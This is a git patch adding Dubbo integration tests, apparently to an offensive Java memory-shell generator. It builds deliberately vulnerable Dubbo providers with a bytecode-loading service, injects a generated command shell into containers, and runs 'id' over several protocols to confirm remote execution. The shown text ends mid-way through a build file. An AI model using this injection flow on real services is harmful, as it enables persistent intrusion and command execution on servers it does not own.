From 52004a2e1397791152eb4063a01084912e5c6fb3 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 27 Jun 2026 14:54:08 +0800 Subject: [PATCH] test: add dubbo integration-test --- .../workflows/memshell-integration-test.yml | 10 +- integration-test/build.gradle.kts | 62 ++++- .../dubbo/AlibabaDubbo2612ContainerTest.java | 36 +++ .../dubbo/ApacheDubbo27xContainerTest.java | 84 ++++++ .../dubbo/ApacheDubbo336ContainerTest.java | 37 +++ .../memshell/dubbo/DubboClientRunner.java | 130 +++++++++ .../memshell/dubbo/DubboContainerFactory.java | 56 ++++ .../memshell/dubbo/DubboProtocolTarget.java | 27 ++ .../memshell/dubbo/DubboProviderScenario.java | 66 +++++ .../memshell/dubbo/DubboServiceAssertion.java | 64 +++++ .../memshell/dubbo/DubboUrlResolver.java | 72 +++++ .../memshell/dubbo/DubboUrlResolverTest.java | 34 +++ settings.gradle.kts | 3 +- tools/command/build.gradle.kts | 96 +++++++ .../client/alibaba/AlibabaDubboClient.java | 101 +++++++ .../client/apache/ApacheDubboClient.java | 83 ++++++ .../fixture/api/BytecodeLoadingService.java | 5 + .../fixture/client/ClientRuntimeSupport.java | 29 +++ vul/vul-dubbo/build.gradle.kts | 240 +++++++++++++++++ .../alibaba/AlibabaDubbo2Provider.java | 65 +++++ .../apache2/ApacheDubbo2723Provider.java | 7 + .../apache2/ApacheDubbo276Provider.java | 7 + .../apache2/ApacheDubbo277Provider.java | 7 + .../apache2/ApacheDubbo278Provider.java | 7 + .../apache3/ApacheDubbo336Provider.java | 65 +++++ .../fixture/apache2/ApacheDubbo2Provider.java | 71 +++++ .../fixture/api/BytecodeLoadingService.java | 5 + .../dubbo/fixture/api/DemoService.java | 5 + .../common/BytecodeLoadingServiceImpl.java | 11 + .../common/BytecodeLoadingSupport.java | 246 ++++++++++++++++++ .../dubbo/fixture/common/DemoServiceImpl.java | 17 ++ .../common/LoadBytesExportContext.java | 31 +++ .../reajason/dubbo/fixture/common/Noop.java | 6 + 33 files changed, 1780 insertions(+), 5 deletions(-) create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/AlibabaDubbo2612ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/ApacheDubbo27xContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/ApacheDubbo336ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboClientRunner.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboContainerFactory.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboProtocolTarget.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboProviderScenario.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboServiceAssertion.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboUrlResolver.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboUrlResolverTest.java create mode 100644 tools/command/build.gradle.kts create mode 100644 tools/command/src/dubboClientAlibaba/java/io/github/reajason/dubbo/fixture/client/alibaba/AlibabaDubboClient.java create mode 100644 tools/command/src/dubboClientApache/java/io/github/reajason/dubbo/fixture/client/apache/ApacheDubboClient.java create mode 100644 tools/command/src/dubboClientCommon/java/io/github/reajason/dubbo/fixture/api/BytecodeLoadingService.java create mode 100644 tools/command/src/dubboClientCommon/java/io/github/reajason/dubbo/fixture/client/ClientRuntimeSupport.java create mode 100644 vul/vul-dubbo/build.gradle.kts create mode 100644 vul/vul-dubbo/src/dubboProviderAlibaba/java/io/github/reajason/dubbo/fixture/alibaba/AlibabaDubbo2Provider.java create mode 100644 vul/vul-dubbo/src/dubboProviderApache2723/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo2723Provider.java create mode 100644 vul/vul-dubbo/src/dubboProviderApache276/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo276Provider.java create mode 100644 vul/vul-dubbo/src/dubboProviderApache277/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo277Provider.java create mode 100644 vul/vul-dubbo/src/dubboProviderApache278/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo278Provider.java create mode 100644 vul/vul-dubbo/src/dubboProviderApache336/java/io/github/reajason/dubbo/fixture/apache3/ApacheDubbo336Provider.java create mode 100644 vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo2Provider.java create mode 100644 vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/api/BytecodeLoadingService.java create mode 100644 vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/api/DemoService.java create mode 100644 vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/BytecodeLoadingServiceImpl.java create mode 100644 vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/BytecodeLoadingSupport.java create mode 100644 vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/DemoServiceImpl.java create mode 100644 vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/LoadBytesExportContext.java create mode 100644 vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/Noop.java diff --git a/.github/workflows/memshell-integration-test.yml b/.github/workflows/memshell-integration-test.yml index cb42eabf..97482748 100644 --- a/.github/workflows/memshell-integration-test.yml +++ b/.github/workflows/memshell-integration-test.yml @@ -9,6 +9,7 @@ on: - './github/workflows/memshell-integration-test.yml' - '**/memshell/**' - '**/packer/**' + - '**/dubbo/**' concurrency: group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }} @@ -54,6 +55,8 @@ jobs: depend_tasks: "" - middleware: "geronimo" depend_tasks: ":vul:vul-webapp:war" + - middleware: "dubbo" + depend_tasks: ":vul:vul-dubbo:dubboProviderFatJars :tools:command:dubboClientClasspath" runs-on: ubuntu-22.04 name: ${{ matrix.cases.middleware }} steps: @@ -73,10 +76,15 @@ jobs: run: ./gradlew ${{ matrix.cases.depend_tasks }} - name: Integration Test with gradle + if: matrix.cases.middleware != 'dubbo' run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info + - name: Dubbo Integration Test with gradle + if: matrix.cases.middleware == 'dubbo' + run: ./gradlew :integration-test:dubboContainerTest --info + - name: Export Integration Test Summary uses: mikepenz/action-junit-report@v5 if: success() || failure() with: - report_paths: '**/build/test-results/test/TEST-*.xml' + report_paths: '**/build/test-results/*/TEST-*.xml' diff --git a/integration-test/build.gradle.kts b/integration-test/build.gradle.kts index cfe3d587..24ec5c23 100644 --- a/integration-test/build.gradle.kts +++ b/integration-test/build.gradle.kts @@ -7,6 +7,9 @@ plugins { group = "io.github.reajason" version = rootProject.version +evaluationDependsOn(":vul:vul-dubbo") +evaluationDependsOn(":tools:command") + idea { module { excludeDirs.add(file("src/main")) @@ -36,8 +39,41 @@ dependencies { } } -tasks.test { - useJUnitPlatform() +val dubboProviderProject = project(":vul:vul-dubbo") +val dubboCommandProject = project(":tools:command") + +fun dubboProviderJar(taskName: String): Provider { + return dubboProviderProject.tasks.named(taskName).flatMap { task -> + task.archiveFile.map { it.asFile.absolutePath } + } +} + +fun dubboClientClasspath(clientKind: String): Provider { + return dubboCommandProject.layout.buildDirectory.file("dubbo-client-classpaths/$clientKind.txt").map { + it.asFile.readText() + } +} + +fun Test.configureDubboSystemProperties() { + dependsOn(":vul:vul-dubbo:dubboProviderFatJars", ":tools:command:dubboClientClasspath") + val systemProperties = mapOf( + "dubbo.alibaba.client.classpath" to dubboClientClasspath("alibaba"), + "dubbo.apache.client.classpath" to dubboClientClasspath("apache"), + "dubbo.alibaba.provider.jar" to dubboProviderJar("dubboAlibabaProviderFatJar"), + "dubbo.apache276.provider.jar" to dubboProviderJar("dubboApache276ProviderFatJar"), + "dubbo.apache277.provider.jar" to dubboProviderJar("dubboApache277ProviderFatJar"), + "dubbo.apache278.provider.jar" to dubboProviderJar("dubboApache278ProviderFatJar"), + "dubbo.apache2723.provider.jar" to dubboProviderJar("dubboApache2723ProviderFatJar"), + "dubbo.apache336.provider.jar" to dubboProviderJar("dubboApache336ProviderFatJar") + ) + doFirst { + systemProperties.forEach { (key, value) -> + systemProperty(key, value.get()) + } + } +} + +fun Test.configureIntegrationJvm() { jvmArgs( "--add-opens=java.base/java.util=ALL-UNNAMED", "--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED", @@ -46,4 +82,24 @@ tasks.test { testLogging { events("passed", "skipped", "failed") } -} \ No newline at end of file +} + +tasks.test { + useJUnitPlatform { + excludeTags("dubbo-container") + } + configureIntegrationJvm() +} + +tasks.register("dubboContainerTest") { + group = "verification" + description = "Runs DubboService provider/client integration tests." + testClassesDirs = sourceSets.test.get().output.classesDirs + classpath = sourceSets.test.get().runtimeClasspath + useJUnitPlatform { + includeTags("dubbo-container") + } + dependsOn("testClasses") + configureDubboSystemProperties() + configureIntegrationJvm() +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/AlibabaDubbo2612ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/AlibabaDubbo2612ContainerTest.java new file mode 100644 index 00000000..d2548ae1 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/AlibabaDubbo2612ContainerTest.java @@ -0,0 +1,36 @@ +package com.reajason.javaweb.integration.memshell.dubbo; + +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Tag; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; + +@Testcontainers +@Tag("dubbo-container") +class AlibabaDubbo2612ContainerTest { + + private static final DubboProviderScenario SCENARIO = new DubboProviderScenario( + "alibaba-dubbo-2.6.12", + "alibaba", + "dubbo.alibaba.provider.jar", + "eclipse-temurin:8-jre", + 20880, + Opcodes.V1_8, + List.of( + new DubboProtocolTarget("dubbo", 20880), + new DubboProtocolTarget("hessian", 28080) + ) + ); + + @Container + static final GenericContainer container = DubboContainerFactory.buildProvider(SCENARIO); + + @Test + void testDubboServiceRegistration() { + DubboServiceAssertion.assertCommandService(container, SCENARIO); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/ApacheDubbo27xContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/ApacheDubbo27xContainerTest.java new file mode 100644 index 00000000..a056ba2f --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/ApacheDubbo27xContainerTest.java @@ -0,0 +1,84 @@ +package com.reajason.javaweb.integration.memshell.dubbo; + +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Tag; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; +import java.util.stream.Stream; + +@Testcontainers +@Tag("dubbo-container") +class ApacheDubbo27xContainerTest { + + private static final String IMAGE = "eclipse-temurin:17-jdk"; + + private static final DubboProviderScenario APACHE_276 = apacheScenario( + "apache-dubbo-2.7.6", + "dubbo.apache276.provider.jar", + 20885, + 28086 + ); + private static final DubboProviderScenario APACHE_277 = apacheScenario( + "apache-dubbo-2.7.7", + "dubbo.apache277.provider.jar", + 20886, + 28088 + ); + private static final DubboProviderScenario APACHE_278 = apacheScenario( + "apache-dubbo-2.7.8", + "dubbo.apache278.provider.jar", + 20887, + 28090 + ); + private static final DubboProviderScenario APACHE_2723 = apacheScenario( + "apache-dubbo-2.7.23", + "dubbo.apache2723.provider.jar", + 20881, + 28082 + ); + + @Container + static final GenericContainer apache276 = DubboContainerFactory.buildProvider(APACHE_276); + @Container + static final GenericContainer apache277 = DubboContainerFactory.buildProvider(APACHE_277); + @Container + static final GenericContainer apache278 = DubboContainerFactory.buildProvider(APACHE_278); + @Container + static final GenericContainer apache2723 = DubboContainerFactory.buildProvider(APACHE_2723); + + static Stream scenarios() { + return Stream.of( + Arguments.of(apache276, APACHE_276), + Arguments.of(apache277, APACHE_277), + Arguments.of(apache278, APACHE_278), + Arguments.of(apache2723, APACHE_2723) + ); + } + + @ParameterizedTest(name = "{1}") + @MethodSource("scenarios") + void testDubboServiceRegistration(GenericContainer container, DubboProviderScenario scenario) { + DubboServiceAssertion.assertCommandService(container, scenario); + } + + private static DubboProviderScenario apacheScenario(String name, String providerJarProperty, int dubboPort, int hessianPort) { + return new DubboProviderScenario( + name, + "apache", + providerJarProperty, + IMAGE, + dubboPort, + Opcodes.V1_8, + List.of( + new DubboProtocolTarget("dubbo", dubboPort), + new DubboProtocolTarget("hessian", hessianPort) + ) + ); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/ApacheDubbo336ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/ApacheDubbo336ContainerTest.java new file mode 100644 index 00000000..986cde3b --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/ApacheDubbo336ContainerTest.java @@ -0,0 +1,37 @@ +package com.reajason.javaweb.integration.memshell.dubbo; + +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Tag; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; + +@Testcontainers +@Tag("dubbo-container") +class ApacheDubbo336ContainerTest { + + private static final DubboProviderScenario SCENARIO = new DubboProviderScenario( + "apache-dubbo-3.3.6", + "apache", + "dubbo.apache336.provider.jar", + "eclipse-temurin:17-jdk", + 20882, + Opcodes.V1_8, + List.of( + new DubboProtocolTarget("dubbo", 20882), + new DubboProtocolTarget("hessian", 28084), + new DubboProtocolTarget("tri", 50051) + ) + ); + + @Container + static final GenericContainer container = DubboContainerFactory.buildProvider(SCENARIO); + + @Test + void testDubboServiceRegistration() { + DubboServiceAssertion.assertCommandService(container, SCENARIO); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboClientRunner.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboClientRunner.java new file mode 100644 index 00000000..5dfd68f3 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboClientRunner.java @@ -0,0 +1,130 @@ +package com.reajason.javaweb.integration.memshell.dubbo; + +import lombok.SneakyThrows; + +import java.io.ByteArrayOutputStream; +import java.io.InputStream; +import java.nio.charset.StandardCharsets; +import java.util.ArrayList; +import java.util.List; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +final class DubboClientRunner { + + private DubboClientRunner() { + } + + static String loadBytes(String clientKind, String url, String base64) { + return run(clientKind, "load-bytes", url, base64); + } + + static String runCommand(String clientKind, String url, String interfaceName, String command) { + return run(clientKind, "run-command", url, interfaceName, command); + } + + @SneakyThrows + private static String run(String clientKind, String... args) { + List command = new ArrayList(); + String javaExecutable = javaExecutable(clientKind); + command.add(javaExecutable); + if (supportsAddOpens(javaExecutable)) { + command.add("--add-opens=java.base/java.lang=ALL-UNNAMED"); + command.add("--add-opens=java.base/java.math=ALL-UNNAMED"); + } + command.add("-cp"); + command.add(clientClasspath(clientKind)); + command.add(mainClass(clientKind)); + for (String arg : args) { + command.add(arg); + } + + Process process = new ProcessBuilder(command) + .redirectErrorStream(true) + .start(); + ByteArrayOutputStream output = new ByteArrayOutputStream(); + copy(process.getInputStream(), output); + int exitCode = process.waitFor(); + String rendered = output.toString(StandardCharsets.UTF_8).trim(); + if (exitCode != 0) { + throw new IllegalStateException("Dubbo client failed with exit code " + exitCode + "\n" + rendered); + } + return rendered; + } + + private static String clientClasspath(String clientKind) { + String property = System.getProperty("dubbo." + clientKind + ".client.classpath"); + if (isBlank(property)) { + throw new IllegalStateException("missing dubbo." + clientKind + ".client.classpath system property"); + } + return property; + } + + private static String mainClass(String clientKind) { + if ("alibaba".equals(clientKind)) { + return "io.github.reajason.dubbo.fixture.client.alibaba.AlibabaDubboClient"; + } + if ("apache".equals(clientKind)) { + return "io.github.reajason.dubbo.fixture.client.apache.ApacheDubboClient"; + } + throw new IllegalArgumentException("unsupported client kind: " + clientKind); + } + + private static String javaExecutable(String clientKind) { + if (!"alibaba".equals(clientKind)) { + return "java"; + } + String java8Home = System.getenv("JAVA8_HOME"); + if (isBlank(java8Home)) { + java8Home = System.getProperty("java8.home"); + } + if (isBlank(java8Home)) { + return "java"; + } + return java8Home + "/bin/java"; + } + + private static boolean supportsAddOpens(String javaExecutable) throws java.io.IOException, InterruptedException { + Process process = new ProcessBuilder(javaExecutable, "-version") + .redirectErrorStream(true) + .start(); + ByteArrayOutputStream output = new ByteArrayOutputStream(); + copy(process.getInputStream(), output); + int exitCode = process.waitFor(); + if (exitCode != 0) { + return true; + } + return majorVersion(output.toString(StandardCharsets.UTF_8)) >= 9; + } + + private static int majorVersion(String versionOutput) { + Matcher matcher = Pattern.compile("version \"([^\"]+)\"").matcher(versionOutput); + if (!matcher.find()) { + return 9; + } + String version = matcher.group(1); + if (version.startsWith("1.")) { + int dot = version.indexOf('.', 2); + return leadingInteger(dot < 0 ? version.substring(2) : version.substring(2, dot)); + } + int dot = version.indexOf('.'); + return leadingInteger(dot < 0 ? version : version.substring(0, dot)); + } + + private static int leadingInteger(String value) { + Matcher matcher = Pattern.compile("^(\\d+)").matcher(value); + return matcher.find() ? Integer.parseInt(matcher.group(1)) : 9; + } + + private static boolean isBlank(String value) { + return value == null || value.trim().isEmpty(); + } + + private static void copy(InputStream inputStream, ByteArrayOutputStream outputStream) throws java.io.IOException { + byte[] buffer = new byte[4096]; + int read; + while ((read = inputStream.read(buffer)) >= 0) { + outputStream.write(buffer, 0, read); + } + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboContainerFactory.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboContainerFactory.java new file mode 100644 index 00000000..369cbc07 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboContainerFactory.java @@ -0,0 +1,56 @@ +package com.reajason.javaweb.integration.memshell.dubbo; + +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.utility.MountableFile; + +import java.nio.file.Files; +import java.nio.file.Path; +import java.time.Duration; + +final class DubboContainerFactory { + + private DubboContainerFactory() { + } + + static GenericContainer buildProvider(DubboProviderScenario scenario) { + String jarPath = providerJarPath(scenario.providerJarProperty()); + GenericContainer container = new GenericContainer<>(scenario.imageName()) + .withCopyFileToContainer(MountableFile.forHostPath(jarPath), "/app/app.jar") + .withWorkingDirectory("/app") + .withExposedPorts(exposedPorts(scenario)) + .waitingFor(Wait.forLogMessage(".*Provider started.*", 1) + .withStartupTimeout(Duration.ofMinutes(3))); + + if ("alibaba".equals(scenario.clientKind())) { + container.withCommand("java", "-jar", "/app/app.jar"); + } else { + container.withCommand( + "java", + "--add-opens", "java.base/java.lang=ALL-UNNAMED", + "--add-opens", "java.base/java.math=ALL-UNNAMED", + "-jar", "/app/app.jar" + ); + } + return container; + } + + private static Integer[] exposedPorts(DubboProviderScenario scenario) { + return scenario.commandTargets().stream() + .map(DubboProtocolTarget::port) + .distinct() + .toArray(Integer[]::new); + } + + private static String providerJarPath(String propertyName) { + String value = System.getProperty(propertyName); + if (value == null || value.trim().isEmpty()) { + throw new IllegalStateException("missing " + propertyName + " system property"); + } + Path path = Path.of(value); + if (!Files.isRegularFile(path)) { + throw new IllegalStateException("provider jar does not exist: " + path); + } + return path.toAbsolutePath().toString(); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboProtocolTarget.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboProtocolTarget.java new file mode 100644 index 00000000..5a2ecc02 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboProtocolTarget.java @@ -0,0 +1,27 @@ +package com.reajason.javaweb.integration.memshell.dubbo; + +final class DubboProtocolTarget { + private final String protocol; + private final int port; + + DubboProtocolTarget(String protocol, int port) { + this.protocol = protocol; + this.port = port; + } + + String protocol() { + return protocol; + } + + int port() { + return port; + } + + String url(String host, String interfaceName) { + return protocol + "://" + host + ":" + port + "/" + interfaceName; + } + + String url(String host, int mappedPort, String interfaceName) { + return protocol + "://" + host + ":" + mappedPort + "/" + interfaceName; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboProviderScenario.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboProviderScenario.java new file mode 100644 index 00000000..e8211a47 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboProviderScenario.java @@ -0,0 +1,66 @@ +package com.reajason.javaweb.integration.memshell.dubbo; + +import com.reajason.javaweb.memshell.ShellType; + +import java.util.List; + +final class DubboProviderScenario { + private final String name; + private final String clientKind; + private final String providerJarProperty; + private final String imageName; + private final int loaderPort; + private final int targetJdkVersion; + private final List commandTargets; + + DubboProviderScenario(String name, String clientKind, String providerJarProperty, String imageName, + int loaderPort, int targetJdkVersion, List commandTargets) { + this.name = name; + this.clientKind = clientKind; + this.providerJarProperty = providerJarProperty; + this.imageName = imageName; + this.loaderPort = loaderPort; + this.targetJdkVersion = targetJdkVersion; + this.commandTargets = commandTargets; + } + + String name() { + return name; + } + + String clientKind() { + return clientKind; + } + + String providerJarProperty() { + return providerJarProperty; + } + + String imageName() { + return imageName; + } + + int loaderPort() { + return loaderPort; + } + + int targetJdkVersion() { + return targetJdkVersion; + } + + List commandTargets() { + return commandTargets; + } + + String shellType() { + if ("alibaba".equals(clientKind)) { + return ShellType.ALIBABA_DUBBO_SERVICE; + } + return ShellType.APACHE_DUBBO_SERVICE; + } + + @Override + public String toString() { + return name; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboServiceAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboServiceAssertion.java new file mode 100644 index 00000000..d731c67e --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboServiceAssertion.java @@ -0,0 +1,64 @@ +package com.reajason.javaweb.integration.memshell.dubbo; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.config.CommandConfig; +import com.reajason.javaweb.memshell.config.ShellToolConfig; +import com.reajason.javaweb.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import org.testcontainers.containers.GenericContainer; + +import java.util.List; +import java.util.stream.Collectors; + +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.anyOf; +import static org.hamcrest.Matchers.containsString; + +@Slf4j +final class DubboServiceAssertion { + + private static final String LOADER_INTERFACE = "io.github.reajason.dubbo.fixture.api.BytecodeLoadingService"; + private static final String COMMAND = "id"; + + private DubboServiceAssertion() { + } + + static void assertCommandService(GenericContainer container, DubboProviderScenario scenario) { + ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig( + scenario.shellType(), + ShellTool.Command, + Packers.Base64 + ); + MemShellResult result = ShellAssertion.generate( + null, + Server.Dubbo, + null, + scenario.shellType(), + ShellTool.Command, + scenario.targetJdkVersion(), + shellToolConfig, + Packers.Base64 + ); + String interfaceName = result.getInjectorConfig().getUrlPattern(); + String host = container.getHost(); + String loaderUrl = "dubbo://" + host + ":" + container.getMappedPort(scenario.loaderPort()) + "/" + LOADER_INTERFACE; + + log.info("loading {} into {} via {}", interfaceName, scenario.name(), loaderUrl); + String loadOutput = DubboClientRunner.loadBytes(scenario.clientKind(), loaderUrl, result.getInjectorBytesBase64Str()); + log.info("{} load output: {}", scenario.name(), loadOutput); + + List fallbackUrls = scenario.commandTargets().stream() + .map(target -> target.url(host, container.getMappedPort(target.port()), interfaceName)) + .collect(Collectors.toList()); + List commandUrls = DubboUrlResolver.resolveCommandUrls(loadOutput, interfaceName, fallbackUrls); + + for (String commandUrl : commandUrls) { + String output = DubboClientRunner.runCommand(scenario.clientKind(), commandUrl, interfaceName, COMMAND); + log.info("{} {} command output: {}", scenario.name(), DubboUrlResolver.protocolOf(commandUrl), output); + assertThat(output, anyOf(containsString("uid="), containsString("injected-ok"))); + } + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboUrlResolver.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboUrlResolver.java new file mode 100644 index 00000000..3bcc6c2a --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboUrlResolver.java @@ -0,0 +1,72 @@ +package com.reajason.javaweb.integration.memshell.dubbo; + +import java.net.URI; +import java.net.URISyntaxException; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import java.util.stream.Collectors; + +final class DubboUrlResolver { + + private DubboUrlResolver() { + } + + static List resolveCommandUrls(String loadOutput, String interfaceName, List fallbackUrls) { + Map discoveredByProtocol = new LinkedHashMap(); + Pattern pattern = Pattern.compile("(dubbo|hessian|tri)://[^\\s,]*" + Pattern.quote(interfaceName) + "(?:\\?[^\\s,]*)?"); + Matcher matcher = pattern.matcher(loadOutput); + while (matcher.find()) { + String candidate = matcher.group(); + discoveredByProtocol.put(protocolOf(candidate), candidate); + } + return fallbackUrls.stream() + .map(fallback -> { + String discovered = discoveredByProtocol.get(protocolOf(fallback)); + return discovered == null ? fallback : rewriteEndpoint(discovered, fallback); + }) + .collect(Collectors.toList()); + } + + static String protocolOf(String url) { + int separator = url.indexOf("://"); + return separator < 0 ? url : url.substring(0, separator); + } + + static String rewriteHost(String url, String host) { + try { + URI uri = new URI(url); + return new URI( + uri.getScheme(), + uri.getUserInfo(), + host, + uri.getPort(), + uri.getPath(), + uri.getQuery(), + uri.getFragment() + ).toString(); + } catch (URISyntaxException e) { + throw new IllegalArgumentException("invalid direct url: " + url, e); + } + } + + static String rewriteEndpoint(String url, String endpointUrl) { + try { + URI uri = new URI(url); + URI endpoint = new URI(endpointUrl); + return new URI( + uri.getScheme(), + uri.getUserInfo(), + endpoint.getHost(), + endpoint.getPort(), + uri.getPath(), + uri.getQuery(), + uri.getFragment() + ).toString(); + } catch (URISyntaxException e) { + throw new IllegalArgumentException("invalid direct url: " + url + " or " + endpointUrl, e); + } + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboUrlResolverTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboUrlResolverTest.java new file mode 100644 index 00000000..d74c0b5e --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboUrlResolverTest.java @@ -0,0 +1,34 @@ +package com.reajason.javaweb.integration.memshell.dubbo; + +import org.junit.jupiter.api.Test; + +import java.util.List; + +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.contains; + +class DubboUrlResolverTest { + + @Test + void discoveredUrlsOverrideFallbackByProtocolAndRewriteHost() { + String interfaceName = "org.example.ICommandService"; + String loadOutput = "ok dubbo://x.x.x.x:20880/" + interfaceName + "?side=provider, " + + "hessian://10.1.2.3:28080/" + interfaceName; + + List resolved = DubboUrlResolver.resolveCommandUrls( + loadOutput, + interfaceName, + List.of( + "dubbo://127.0.0.1:1111/" + interfaceName, + "hessian://127.0.0.1:2222/" + interfaceName, + "tri://127.0.0.1:3333/" + interfaceName + ) + ); + + assertThat(resolved, contains( + "dubbo://127.0.0.1:1111/" + interfaceName + "?side=provider", + "hessian://127.0.0.1:2222/" + interfaceName, + "tri://127.0.0.1:3333/" + interfaceName + )); + } +} diff --git a/settings.gradle.kts b/settings.gradle.kts index b7dc9a8d..a0e1d86d 100644 --- a/settings.gradle.kts +++ b/settings.gradle.kts @@ -28,7 +28,7 @@ dependencyResolutionManagement { rootProject.name = "memshell-party" include("memshell-party-common") -include("tools:godzilla", "tools:behinder", "tools:suo5", "tools:ant-sword") +include("tools:godzilla", "tools:behinder", "tools:suo5", "tools:ant-sword", "tools:command") include("packer") include("boot") include("generator") @@ -47,6 +47,7 @@ include("vul:vul-springboot359") include("vul:vul-springboot2-webflux") include("vul:vul-springboot3-webflux") include("vul:vul-playframework") +include("vul:vul-dubbo") include("memshell-agent:memshell-agent-attacher") include("memshell-agent:memshell-agent-asm") include("memshell-agent:memshell-agent-javassist") diff --git a/tools/command/build.gradle.kts b/tools/command/build.gradle.kts new file mode 100644 index 00000000..080841d9 --- /dev/null +++ b/tools/command/build.gradle.kts @@ -0,0 +1,96 @@ +plugins { + id("java") + id("idea") +} + +group = "io.github.reajason" +version = rootProject.version + +val dubboClientCommon: SourceSet by sourceSets.creating +val dubboClientAlibaba: SourceSet by sourceSets.creating +val dubboClientApache: SourceSet by sourceSets.creating + +val dubboClientCommonImplementation: 